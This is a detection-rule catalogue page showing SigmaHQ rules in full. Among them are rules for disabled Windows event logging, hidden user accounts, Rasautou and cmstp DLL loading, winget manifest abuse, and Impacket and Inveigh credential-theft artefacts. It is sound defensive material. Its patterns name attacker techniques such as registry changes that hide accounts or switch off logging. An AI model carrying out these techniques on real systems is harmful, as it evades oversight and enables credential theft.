Detection rules › Sigma

Sigma rules: 02

RuleSeverity
Arbitrary Shell Command Execution Via Settingcontent-Msmedium
DHCP Server Loaded the CallOut DLLhigh
Disable Windows Event Logging Via Registryhigh
DLL Execution via Rasautou.exemedium
DLL Loaded From Suspicious Location Via Cmspt.EXEhigh
DotNet CLR DLL Loaded By Scripting Applicationshigh
HackTool - Impacket File Indicatorshigh
HackTool - Inveigh Execution Artefactscritical
Hiding User Account Via SpecialAccounts Registry Keyhigh
Imports Registry Key From a Filemedium
Install New Package Via Winget Local Manifestmedium
Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATIONhigh
Legitimate Application Dropped Executablehigh
Massive services deletion bursthigh
Network Connection Initiated By Regsvr32.EXEmedium
Obfuscated PowerShell OneLiner Executionhigh
OilRig APT Registry Persistencecritical
Password Change on Directory Service Restore Mode (DSRM) Accounthigh
Potential Remote Command Execution In Pod Containermedium
Potential RjvPlatform.DLL Sideloading From Default Locationmedium
Potential WinAPI Calls Via PowerShell Scriptshigh
Potentially Suspicious Malware Callback Communicationhigh
PowerShell Download and Execution Cradleshigh
Powershell XML Execute Commandmedium
Registry Modification Via Regini.EXElow
Risk for misconfiguration - use of Auth0 tenant name URL.medium
Service Registry Key Read Access Requestlow
Shell Invocation via Apt - Linuxmedium
SNAKE Malware Kernel Driver File Indicatorcritical
Suspicious Child Process Of Manage Engine ServiceDeskhigh
Suspicious Kerberos Ticket Request via PowerShell Script - ScriptBlockhigh
Suspicious PowerShell In Registry Run Keysmedium
Suspicious PsExec Execution - Zeekhigh
Suspicious Scan Loop Networkmedium
Suspicious Shells Spawn by Java Utility Keytoolhigh
Windows Registry Trust Record Modificationmedium

Arbitrary Shell Command Execution Via Settingcontent-Ms

#
Status
test
Severity
medium
Author
Sreeman
Source
github.com/SigmaHQ/sigma

The .SettingContent-ms file type was introduced in Windows 10 and allows a user to create "shortcuts" to various Windows 10 setting pages. These files are simply XML and contain paths to various Windows 10 settings binaries.

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Arbitrary Shell Command Execution Via Settingcontent-Ms
id: 24de4f3b-804c-4165-b442-5a06a2302c7e
status: test
description: The .SettingContent-ms file type was introduced in Windows 10 and allows a user to create "shortcuts" to various Windows 10 setting pages. These files are simply XML and contain paths to various Windows 10 settings binaries.
references:
    - https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39
author: Sreeman
date: 2020-03-13
modified: 2022-04-14
tags:
    - attack.t1204
    - attack.t1566.001
    - attack.execution
    - attack.initial-access
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains: '.SettingContent-ms'
    filter:
        CommandLine|contains: 'immersivecontrolpanel'
    condition: selection and not filter
falsepositives:
    - Unknown
level: medium

Stages and Predicates

Stage 0: condition

selection and not filter

Stage 1: selection

selection:
    CommandLine|contains: '.SettingContent-ms'

Stage 2: not filter

filter:
    CommandLine|contains: 'immersivecontrolpanel'

Indicators

These rows show field, operator, and value matches.

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
CommandLinematchimmersivecontrolpanelexcludes:CommandLine field:"CommandLine" value:"immersivecontrolpanel"

DHCP Server Loaded the CallOut DLL

#
Status
test
Severity
high
Author
Dimitrios Slamaris
Source
github.com/SigmaHQ/sigma

This rule detects a DHCP server in which a specified Callout DLL (in registry) was loaded

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: DHCP Server Loaded the CallOut DLL
id: 13fc89a9-971e-4ca6-b9dc-aa53a445bf40
status: test
description: This rule detects a DHCP server in which a specified Callout DLL (in registry) was loaded
references:
    - https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html
    - https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx
    - https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx
author: Dimitrios Slamaris
date: 2017-05-15
modified: 2022-12-25
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.execution
    - attack.stealth
    - attack.t1574.001
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 1033
        Provider_Name: Microsoft-Windows-DHCP-Server
    condition: selection
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    EventID: 1033
    Provider_Name: Microsoft-Windows-DHCP-Server

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Provider_Nameeq
  • Microsoft-Windows-DHCP-Server corpus 2 (sigma 2)
field:"Provider_Name" kind:eq value:"Microsoft-Windows-DHCP-Server"

Disable Windows Event Logging Via Registry

#
Status
test
Severity
high
Author
frack113, Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects tampering with the "Enabled" registry key in order to disable Windows logging of a Windows event channel

Known False Positives

  • Rare falsepositives may occur from legitimate administrators disabling specific event log for troubleshooting

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Disable Windows Event Logging Via Registry
id: 2f78da12-f7c7-430b-8b19-a28f269b77a3
status: test
description: Detects tampering with the "Enabled" registry key in order to disable Windows logging of a Windows event channel
references:
    - https://twitter.com/WhichbufferArda/status/1543900539280293889
    - https://github.com/DebugPrivilege/CPP/blob/c39d365617dbfbcb01fffad200d52b6239b2918c/Windows%20Defender/RestoreDefenderConfig.cpp
author: frack113, Nasreddine Bencherchali (Nextron Systems)
date: 2022-07-04
modified: 2024-03-25
tags:
    - attack.defense-impairment
    - attack.t1685.001
logsource:
    category: registry_set
    product: windows
detection:
    selection:
        TargetObject|contains: '\Microsoft\Windows\CurrentVersion\WINEVT\Channels\'
        TargetObject|endswith: '\Enabled'
        Details: 'DWORD (0x00000000)'
    filter_main_wevutil:
        Image: 'C:\Windows\system32\wevtutil.exe' # FP generated during installation of manifests via wevtutil
    filter_main_iis:
        Image|startswith: 'C:\Windows\winsxs\'
        Image|endswith: '\TiWorker.exe'  # Many different TargetObjects
    filter_main_svchost:
        Image: 'C:\Windows\System32\svchost.exe'
        TargetObject|contains:
            - '\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-FileInfoMinifilter'
            - '\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ASN1\'
            - '\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Kernel-AppCompat\'
            - '\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Runtime\Error\'
            - '\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-CAPI2/Operational\'
    filter_main_trusted_installer:
        Image: C:\Windows\servicing\TrustedInstaller.exe
        TargetObject|contains: '\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Compat-Appraiser'
    filter_optional_empty: # This filter is related to aurora. Should be removed when fix is deployed. # TODO: Remove later
        Image: ''
    filter_optional_null: # This filter is related to aurora. Should be removed when fix is deployed. # TODO: Remove later
        Image: null
    condition: selection and not 1 of filter_main_* and not 1 of filter_optional_*
falsepositives:
    - Rare falsepositives may occur from legitimate administrators disabling specific event log for troubleshooting
level: high

Stages and Predicates

Stage 0: condition

selection and not 1 of filter_main_* and not 1 of filter_optional_*

Stage 1: selection

selection:
    TargetObject|contains: '\Microsoft\Windows\CurrentVersion\WINEVT\Channels\'
    TargetObject|endswith: '\Enabled'
    Details: 'DWORD (0x00000000)'

Stage 2: not filter_main_*

filter_main_wevutil:
    Image: 'C:\Windows\system32\wevtutil.exe'
filter_main_iis:
    Image|startswith: 'C:\Windows\winsxs\'
    Image|endswith: '\TiWorker.exe'
filter_main_svchost:
    Image: 'C:\Windows\System32\svchost.exe'
    TargetObject|contains:
        - '\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-FileInfoMinifilter'
        - '\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ASN1\'
        - '\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Kernel-AppCompat\'
        - '\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Runtime\Error\'
        - '\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-CAPI2/Operational\'
filter_main_trusted_installer:
    Image: C:\Windows\servicing\TrustedInstaller.exe
    TargetObject|contains: '\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Compat-Appraiser'

Stage 3: not filter_optional_*

filter_optional_empty:
    Image: ''
filter_optional_null:
    Image: null

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Detailseq
  • DWORD (0x00000000) corpus 36 (sigma 36)
field:"Details" kind:eq value:"DWORD (0x00000000)"
TargetObjectends_with
  • \Enabled corpus 3 (sigma 3)
field:"TargetObject" kind:ends_with value:"\Enabled"
TargetObjectmatch
  • \Microsoft\Windows\CurrentVersion\WINEVT\Channels\ corpus 2 (sigma 2)
field:"TargetObject" kind:match value:"\Microsoft\Windows\CurrentVersion\WINEVT\Channels\"

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
TargetObjectmatch\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ASN1\excludes:TargetObject field:"TargetObject" value:"\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ASN1\"
TargetObjectmatch\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-CAPI2/Operational\excludes:TargetObject field:"TargetObject" value:"\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-CAPI2/Operational\"
TargetObjectmatch\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-FileInfoMinifilterexcludes:TargetObject field:"TargetObject" value:"\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-FileInfoMinifilter"
TargetObjectmatch\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Kernel-AppCompat\excludes:TargetObject field:"TargetObject" value:"\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Kernel-AppCompat\"
TargetObjectmatch\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Runtime\Error\excludes:TargetObject field:"TargetObject" value:"\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Runtime\Error\"
ImageeqC:\Windows\System32\svchost.exeexcludes:Image field:"Image" value:"C:\Windows\System32\svchost.exe"
Imageends_with\TiWorker.exeexcludes:Image field:"Image" value:"\TiWorker.exe"
Imagestarts_withC:\Windows\winsxs\excludes:Image field:"Image" value:"C:\Windows\winsxs\"
ImageeqC:\Windows\servicing\TrustedInstaller.exeexcludes:Image field:"Image" value:"C:\Windows\servicing\TrustedInstaller.exe"
TargetObjectmatch\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Compat-Appraiserexcludes:TargetObject field:"TargetObject" value:"\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Compat-Appraiser"
ImageeqC:\Windows\system32\wevtutil.exeexcludes:Image field:"Image" value:"C:\Windows\system32\wevtutil.exe"
Imageis_null(no value, null check)excludes:Image

DLL Execution via Rasautou.exe

#
Status
test
Severity
medium
Author
Julia Fomina, oscd.community
Source
github.com/SigmaHQ/sigma

Detects using Rasautou.exe for loading arbitrary .DLL specified in -d option and executes the export specified in -p.

Known False Positives

  • Unlikely

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: DLL Execution via Rasautou.exe
id: cd3d1298-eb3b-476c-ac67-12847de55813
status: test
description: Detects using Rasautou.exe for loading arbitrary .DLL specified in -d option and executes the export specified in -p.
references:
    - https://lolbas-project.github.io/lolbas/Binaries/Rasautou/
    - https://github.com/fireeye/DueDLLigence
    - https://www.fireeye.com/blog/threat-research/2019/10/staying-hidden-on-the-endpoint-evading-detection-with-shellcode.html
author: Julia Fomina, oscd.community
date: 2020-10-09
tags:
    - attack.stealth
    - attack.t1218
logsource:
    product: windows
    category: process_creation
    definition: Since options '-d' and '-p' were removed in Windows 10 this rule is relevant only for Windows before 10. And as Windows 7 doesn't log command line in 4688 by default, to detect this attack you need Sysmon 1 configured or KB3004375 installed for command-line auditing (https://support.microsoft.com/en-au/help/3004375/microsoft-security-advisory-update-to-improve-windows-command-line-aud)
detection:
    selection_img:
        - Image|endswith: '\rasautou.exe'
        - OriginalFileName: 'rasdlui.exe'
    selection_cli:
        CommandLine|contains|all:
            - ' -d '
            - ' -p '
    condition: all of selection*
falsepositives:
    - Unlikely
level: medium

Stages and Predicates

Stage 0: condition

all of selection*

Stage 1: selection_img

selection_img:
    - Image|endswith: '\rasautou.exe'
    - OriginalFileName: 'rasdlui.exe'

Stage 2: selection_cli

selection_cli:
    CommandLine|contains|all:
        - ' -d '
        - ' -p '

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • -d corpus 8 (sigma 7, splunk 1)
  • -p corpus 12 (sigma 8, splunk 4)
field:"CommandLine" kind:match
Imageends_with
  • \rasautou.exe
field:"Image" kind:ends_with value:"\rasautou.exe"
OriginalFileNameeq
  • rasdlui.exe
field:"OriginalFileName" kind:eq value:"rasdlui.exe"

DLL Loaded From Suspicious Location Via Cmspt.EXE

#
Status
test
Severity
high
Author
Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects cmstp loading "dll" or "ocx" files from suspicious locations

Known False Positives

  • Unikely

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 7: Image loaded

Rule Body

title: DLL Loaded From Suspicious Location Via Cmspt.EXE
id: 75e508f7-932d-4ebc-af77-269237a84ce1
status: test
description: Detects cmstp loading "dll" or "ocx" files from suspicious locations
references:
    - https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/TTPs/Defense%20Evasion/T1218%20-%20Signed%20Binary%20Proxy%20Execution/T1218.003%20-%20CMSTP/Procedures.yaml
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-08-30
modified: 2023-02-17
tags:
    - attack.stealth
    - attack.t1218.003
logsource:
    category: image_load
    product: windows
detection:
    selection:
        Image|endswith: '\cmstp.exe'
        ImageLoaded|contains:
            # Add more suspicious paths as you see fit in your env
            - '\PerfLogs\'
            - '\ProgramData\'
            - '\Users\'
            - '\Windows\Temp\'
            - 'C:\Temp\'
        ImageLoaded|endswith:
            - '.dll'
            - '.ocx'
    condition: selection
falsepositives:
    - Unikely
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    Image|endswith: '\cmstp.exe'
    ImageLoaded|contains:
        - '\PerfLogs\'
        - '\ProgramData\'
        - '\Users\'
        - '\Windows\Temp\'
        - 'C:\Temp\'
    ImageLoaded|endswith:
        - '.dll'
        - '.ocx'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Imageends_with
  • \cmstp.exe corpus 8 (sigma 8)
field:"Image" kind:ends_with value:"\cmstp.exe"
ImageLoadedends_with
  • .dll corpus 6 (sigma 3, splunk 3)
  • .ocx
field:"ImageLoaded" kind:ends_with
ImageLoadedmatch
  • C:\Temp\
  • \PerfLogs\ corpus 2 (sigma 2)
  • \ProgramData\ corpus 2 (sigma 2)
  • \Users\
  • \Windows\Temp\ corpus 2 (sigma 2)
field:"ImageLoaded" kind:match

DotNet CLR DLL Loaded By Scripting Applications

#
Status
test
Severity
high
Author
omkar72, oscd.community
Source
github.com/SigmaHQ/sigma

Detects .NET CLR DLLs being loaded by scripting applications such as wscript or cscript. This could be an indication of potential suspicious execution.

MITRE ATT&CK Coverage

TacticTechniques
Privilege Escalation
Stealth

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 7: Image loaded

Rule Body

title: DotNet CLR DLL Loaded By Scripting Applications
id: 4508a70e-97ef-4300-b62b-ff27992990ea
status: test
description: Detects .NET CLR DLLs being loaded by scripting applications such as wscript or cscript. This could be an indication of potential suspicious execution.
references:
    - https://github.com/tyranid/DotNetToJScript
    - https://thewover.github.io/Introducing-Donut/
    - https://web.archive.org/web/20230329154538/https://blog.menasec.net/2019/07/interesting-difr-traces-of-net-clr.html
    - https://web.archive.org/web/20221026202428/https://gist.github.com/code-scrap/d7f152ffcdb3e0b02f7f394f5187f008
author: omkar72, oscd.community
date: 2020-10-14
modified: 2023-02-23
tags:
    - attack.execution
    - attack.privilege-escalation
    - attack.stealth
    - attack.t1055
logsource:
    category: image_load
    product: windows
detection:
    selection:
        Image|endswith:
            - '\cmstp.exe'
            - '\cscript.exe'
            - '\mshta.exe'
            - '\msxsl.exe'
            - '\regsvr32.exe'
            # - '\svchost.exe'
            - '\wmic.exe'
            - '\wscript.exe'
        ImageLoaded|endswith:
            - '\clr.dll'
            - '\mscoree.dll'
            - '\mscorlib.dll'
    condition: selection
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    Image|endswith:
        - '\cmstp.exe'
        - '\cscript.exe'
        - '\mshta.exe'
        - '\msxsl.exe'
        - '\regsvr32.exe'
        - '\wmic.exe'
        - '\wscript.exe'
    ImageLoaded|endswith:
        - '\clr.dll'
        - '\mscoree.dll'
        - '\mscorlib.dll'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Imageends_with
  • \cmstp.exe corpus 8 (sigma 8)
  • \cscript.exe corpus 72 (sigma 72)
  • \mshta.exe corpus 67 (sigma 66, splunk 1)
  • \msxsl.exe corpus 6 (sigma 6)
  • \regsvr32.exe corpus 64 (sigma 64)
  • \wmic.exe corpus 62 (sigma 62)
  • \wscript.exe corpus 74 (sigma 74)
field:"Image" kind:ends_with
ImageLoadedends_with
  • \clr.dll
  • \mscoree.dll corpus 2 (sigma 2)
  • \mscorlib.dll
field:"ImageLoaded" kind:ends_with

HackTool - Impacket File Indicators

#
Status
experimental
Severity
high
Author
The DFIR Report, IrishDeath
Source
github.com/SigmaHQ/sigma

Detects file creation events with filename patterns used by Impacket.

MITRE ATT&CK Coverage

TacticTechniques
Credential Access

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 11: FileCreate

Rule Body

title: HackTool - Impacket File Indicators
id: 03f4ca17-de95-428d-a75a-4ee78b047256
related:
    - id: 6e2a900a-ced9-4e4a-a9c2-13e706f9518a
      type: similar
status: experimental
description: Detects file creation events with filename patterns used by Impacket.
references:
    - https://thedfirreport.com/2025/05/19/another-confluence-bites-the-dust-falling-to-elpaco-team-ransomware/
    - https://github.com/fortra/impacket
author: "The DFIR Report, IrishDeath"
date: 2025-05-19
tags:
    - attack.credential-access
    - attack.t1003.001
logsource:
    product: windows
    category: file_event
detection:
    selection_names_re:
        TargetFilename|re: '\\sessionresume_[a-zA-Z]{8}$' # https://github.com/fortra/impacket/blob/ead516a1209742efc7ac550707a9304ba08681e9/impacket/examples/secretsdump.py#L1925C38-L1925C51
    condition: selection_names_re
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection_names_re

Stage 1: selection_names_re

selection_names_re:
    TargetFilename|re: '\\sessionresume_[a-zA-Z]{8}$'

Indicators

These rows show field, operator, and value matches.

HackTool - Inveigh Execution Artefacts

#
Status
test
Severity
critical
Author
Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects the presence and execution of Inveigh via dropped artefacts

Known False Positives

  • Unlikely

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 11: FileCreate

Rule Body

title: HackTool - Inveigh Execution Artefacts
id: bb09dd3e-2b78-4819-8e35-a7c1b874e449
status: test
description: Detects the presence and execution of Inveigh via dropped artefacts
references:
    - https://github.com/Kevin-Robertson/Inveigh/blob/29d9e3c3a625b3033cdaf4683efaafadcecb9007/Inveigh/Support/Output.cs
    - https://github.com/Kevin-Robertson/Inveigh/blob/29d9e3c3a625b3033cdaf4683efaafadcecb9007/Inveigh/Support/Control.cs
    - https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-10-24
modified: 2024-06-27
tags:
    - attack.command-and-control
    - attack.t1219.002
logsource:
    product: windows
    category: file_event
detection:
    selection:
        TargetFilename|endswith:
            - '\Inveigh-Log.txt'
            - '\Inveigh-Cleartext.txt'
            - '\Inveigh-NTLMv1Users.txt'
            - '\Inveigh-NTLMv2Users.txt'
            - '\Inveigh-NTLMv1.txt'
            - '\Inveigh-NTLMv2.txt'
            - '\Inveigh-FormInput.txt'
            - '\Inveigh.dll'
            - '\Inveigh.exe'
            - '\Inveigh.ps1'
            - '\Inveigh-Relay.ps1'
    condition: selection
falsepositives:
    - Unlikely
level: critical

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    TargetFilename|endswith:
        - '\Inveigh-Log.txt'
        - '\Inveigh-Cleartext.txt'
        - '\Inveigh-NTLMv1Users.txt'
        - '\Inveigh-NTLMv2Users.txt'
        - '\Inveigh-NTLMv1.txt'
        - '\Inveigh-NTLMv2.txt'
        - '\Inveigh-FormInput.txt'
        - '\Inveigh.dll'
        - '\Inveigh.exe'
        - '\Inveigh.ps1'
        - '\Inveigh-Relay.ps1'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
TargetFilenameends_with
  • \Inveigh-Cleartext.txt
  • \Inveigh-FormInput.txt
  • \Inveigh-Log.txt
  • \Inveigh-NTLMv1.txt
  • \Inveigh-NTLMv1Users.txt
  • \Inveigh-NTLMv2.txt
  • \Inveigh-NTLMv2Users.txt
  • \Inveigh-Relay.ps1
  • \Inveigh.dll
  • \Inveigh.exe
  • \Inveigh.ps1
field:"TargetFilename" kind:ends_with

Hiding User Account Via SpecialAccounts Registry Key

#
Status
test
Severity
high
Author
Nasreddine Bencherchali (Nextron Systems), frack113
Source
github.com/SigmaHQ/sigma

Detects modifications to the registry key "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" where the value is set to "0" in order to hide user account from being listed on the logon screen.

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Hiding User Account Via SpecialAccounts Registry Key
id: f8aebc67-a56d-4ec9-9fbe-7b0e8b7b4efd
related:
    - id: 8a58209c-7ae6-4027-afb0-307a78e4589a
      type: obsolete
    - id: 9ec9fb1b-e059-4489-9642-f270c207923d
      type: similar
status: test
description: Detects modifications to the registry key "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" where the value is set to "0" in order to hide user account from being listed on the logon screen.
references:
    - https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/
    - https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1564.002/T1564.002.md#atomic-test-3---create-hidden-user-in-registry
author: Nasreddine Bencherchali (Nextron Systems), frack113
date: 2022-07-12
modified: 2023-01-26
tags:
    - attack.stealth
    - attack.t1564.002
logsource:
    category: registry_set
    product: windows
detection:
    selection:
        TargetObject|contains: '\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList'
        Details: 'DWORD (0x00000000)'
    condition: selection
falsepositives:
    - Unknown
level: high
regression_tests_path: regression_data/rules/windows/registry/registry_set/registry_set_special_accounts/info.yml
simulation:
    - type: atomic-red-team
      name: Create Hidden User in Registry
      technique: T1564.002
      atomic_guid: 173126b7-afe4-45eb-8680-fa9f6400431c

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    TargetObject|contains: '\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList'
    Details: 'DWORD (0x00000000)'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Detailseq
  • DWORD (0x00000000) corpus 36 (sigma 36)
field:"Details" kind:eq value:"DWORD (0x00000000)"
TargetObjectmatch
  • \SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
field:"TargetObject" kind:match value:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList"

Imports Registry Key From a File

#
Status
test
Severity
medium
Author
Oddvar Moe, Sander Wiebing, oscd.community
Source
github.com/SigmaHQ/sigma

Detects the import of the specified file to the registry with regedit.exe.

Known False Positives

  • Legitimate import of keys
  • Evernote

MITRE ATT&CK Coverage

TacticTechniques
Persistence
Defense Impairment

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: Imports Registry Key From a File
id: 73bba97f-a82d-42ce-b315-9182e76c57b1
related:
    - id: 0b80ade5-6997-4b1d-99a1-71701778ea61
      type: similar
status: test
description: Detects the import of the specified file to the registry with regedit.exe.
references:
    - https://lolbas-project.github.io/lolbas/Binaries/Regedit/
    - https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
author: Oddvar Moe, Sander Wiebing, oscd.community
date: 2020-10-07
modified: 2024-03-13
tags:
    - attack.persistence
    - attack.defense-impairment
    - attack.t1112
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\regedit.exe'
        - OriginalFileName: 'REGEDIT.EXE'
    selection_cli:
        CommandLine|contains:
            - ' /i '
            - ' /s '
            - '.reg'
    filter_1:
        CommandLine|contains|windash:
            - ' -e '
            - ' -a '
            - ' -c '
    filter_2:
        CommandLine|re: ':[^ \\]'     # to avoid intersection with ADS rule
    condition: all of selection_* and not all of filter_*
falsepositives:
    - Legitimate import of keys
    - Evernote
level: medium

Stages and Predicates

Stage 0: condition

all of selection_* and not all of filter_*

Stage 1: selection_img

selection_img:
    - Image|endswith: '\regedit.exe'
    - OriginalFileName: 'REGEDIT.EXE'

Stage 2: selection_cli

selection_cli:
    CommandLine|contains:
        - ' /i '
        - ' /s '
        - '.reg'

Stage 3: not filter_1

filter_1:
    CommandLine|contains|windash:
        - ' -e '
        - ' -a '
        - ' -c '

Stage 4: not filter_2

filter_2:
    CommandLine|re: ':[^ \\]'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • /i corpus 3 (sigma 3)
  • /s corpus 7 (sigma 4, splunk 3)
  • .reg corpus 4 (sigma 3, splunk 1)
field:"CommandLine" kind:match
Imageends_with
  • \regedit.exe corpus 8 (sigma 8)
field:"Image" kind:ends_with value:"\regedit.exe"
OriginalFileNameeq
  • REGEDIT.EXE corpus 6 (sigma 4, splunk 2)
field:"OriginalFileName" kind:eq value:"REGEDIT.EXE"

Exclusions

The rule actively suppresses these predicates.

Install New Package Via Winget Local Manifest

#
Status
test
Severity
medium
Author
Sreeman, Florian Roth (Nextron Systems), frack113
Source
github.com/SigmaHQ/sigma

Detects usage of winget to install applications via manifest file. Adversaries can abuse winget to download payloads remotely and execute them. The manifest option enables you to install an application by passing in a YAML file directly to the client. Winget can be used to download and install exe, msi or msix files later.

Known False Positives

  • Some false positives are expected in some environment that may use this functionality to install and test their custom applications

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: Install New Package Via Winget Local Manifest
id: 313d6012-51a0-4d93-8dfc-de8553239e25
status: test
description: |
    Detects usage of winget to install applications via manifest file. Adversaries can abuse winget to download payloads remotely and execute them.
    The manifest option enables you to install an application by passing in a YAML file directly to the client.
    Winget can be used to download and install exe, msi or msix files later.
references:
    - https://learn.microsoft.com/en-us/windows/package-manager/winget/install#local-install
    - https://lolbas-project.github.io/lolbas/Binaries/Winget/
    - https://github.com/nasbench/Misc-Research/tree/b9596e8109dcdb16ec353f316678927e507a5b8d/LOLBINs/Winget
author: Sreeman, Florian Roth (Nextron Systems), frack113
date: 2020-04-21
modified: 2023-04-17
tags:
    - attack.execution
    - attack.t1059
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\winget.exe'
        - OriginalFileName: 'winget.exe'
    selection_install_flag:
        CommandLine|contains:
            - 'install'
            - ' add ' # https://github.com/microsoft/winget-cli/blob/02d2f93807c9851d73eaacb4d8811a76b64b7b01/src/AppInstallerCLICore/Commands/InstallCommand.h
    selection_manifest_flag:
        CommandLine|contains:
            - '-m '
            - '--manifest'
    condition: all of selection_*
falsepositives:
    - Some false positives are expected in some environment that may use this functionality to install and test their custom applications
level: medium

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_img

selection_img:
    - Image|endswith: '\winget.exe'
    - OriginalFileName: 'winget.exe'

Stage 2: selection_install_flag

selection_install_flag:
    CommandLine|contains:
        - 'install'
        - ' add '

Stage 3: selection_manifest_flag

selection_manifest_flag:
    CommandLine|contains:
        - '-m '
        - '--manifest'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • add corpus 14 (sigma 13, splunk 1)
  • --manifest
  • -m corpus 4 (sigma 4)
  • install corpus 5 (sigma 5)
field:"CommandLine" kind:match
Imageends_with
  • \winget.exe corpus 5 (sigma 5)
field:"Image" kind:ends_with value:"\winget.exe"
OriginalFileNameeq
  • winget.exe corpus 4 (sigma 4)
field:"OriginalFileName" kind:eq value:"winget.exe"

Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION

#
Status
test
Severity
high
Author
Timur Zinniatullin, oscd.community
Source
github.com/SigmaHQ/sigma

Detects Obfuscated Powershell via VAR++ LAUNCHER

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION
id: e9f55347-2928-4c06-88e5-1a7f8169942e
status: test
description: Detects Obfuscated Powershell via VAR++ LAUNCHER
references:
    - https://github.com/SigmaHQ/sigma/issues/1009 # (Task27)
